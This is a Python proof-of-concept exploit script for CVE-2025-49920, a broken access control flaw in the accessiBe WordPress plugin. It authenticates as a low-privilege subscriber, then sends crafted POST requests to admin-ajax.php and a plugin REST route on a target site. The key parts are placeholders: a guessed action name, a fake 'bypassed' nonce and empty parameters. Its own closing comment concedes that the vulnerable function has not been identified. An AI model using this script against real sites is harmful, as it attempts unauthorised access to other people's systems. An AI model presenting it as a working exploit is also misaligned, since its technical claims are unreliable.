CVE-2025-49920

# CVE-2025-49920 PoC - accessiBe WordPress Plugin Broken Access Control # Exploits missing authorization check in accessibe plugin (<= 2.10) # Requires: Low-privilege authenticated WordPress user (e.g., subscriber) import requests # Target configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" # Step 1: Authenticate as low-privilege user session = requests.Session() # WordPress login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post( f"{TARGET_URL}/wp-login.php", data=login_data, cookies={"wordpress_logged_in_test": "test"} ) # Step 2: Obtain WordPress nonce (may be required for some AJAX actions) # This can be extracted from the admin page if accessible, or from public pages homepage = session.get(f"{TARGET_URL}/") # Extract _wpnonce or similar tokens from page source if available # Step 3: Exploit missing authorization in accessibe plugin # The plugin exposes AJAX endpoints or admin actions without proper capability checks exploit_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/accessibe/v1/" ] exploit_payload = { "action": "accessibe_unauthorized_action", # Specific action name varies "nonce": "bypassed_or_obtained_nonce", # Additional parameters targeting the vulnerable functionality } for endpoint in exploit_endpoints: try: response = session.post( f"{TARGET_URL}{endpoint}", data=exploit_payload, headers={"X-Requested-With": "XMLHttpRequest"} ) print(f"Endpoint: {endpoint}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) except Exception as e: print(f"Error on {endpoint}: {e}") # Note: Actual exploitation requires identifying the specific # unprotected function/action in the accessibe plugin code.

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